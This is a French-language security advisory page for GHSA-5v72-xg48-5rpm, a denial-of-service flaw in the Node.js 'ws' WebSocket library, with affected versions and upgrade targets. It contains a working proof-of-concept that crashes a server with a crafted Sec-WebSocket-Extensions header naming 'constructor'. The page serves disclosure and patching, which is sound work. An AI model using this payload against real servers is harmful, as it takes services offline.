p PatchFirst

GHSA-5v72-xg48-5rpm

GHSA-5v72-xg48-5rpm · Denial of Service in ws

Cette page présente des faits issus de sources publiques. Consultez l’avis original avant toute mise à jour.

Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent. ## Proof of concept ``` const WebSocket = require('ws'); const net = require('net'); const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor' const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', `Sec-WebSocket-Extensions: ${payload}`, 'Upgrade: websocket', '\r\n' ].join('\r\n'); const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); }); ``` ## Recommendation Update to version 3.3.1 or later.

CVSS 7.5 · Élevée · Correctif disponible

Publication
Mise à jour

Pile logicielle: node

Produits et versions concernés

  • ws npm

    Plages de versions concernées
    • SEMVER: ≥ 0.6.0, < 1.1.5

    Mettez à jour vers 1.1.5

  • ws npm

    Plages de versions concernées
    • SEMVER: ≥ 2.0.0, < 3.3.1

    Mettez à jour vers 3.3.1

Sources originales

Vérifiez votre serveur →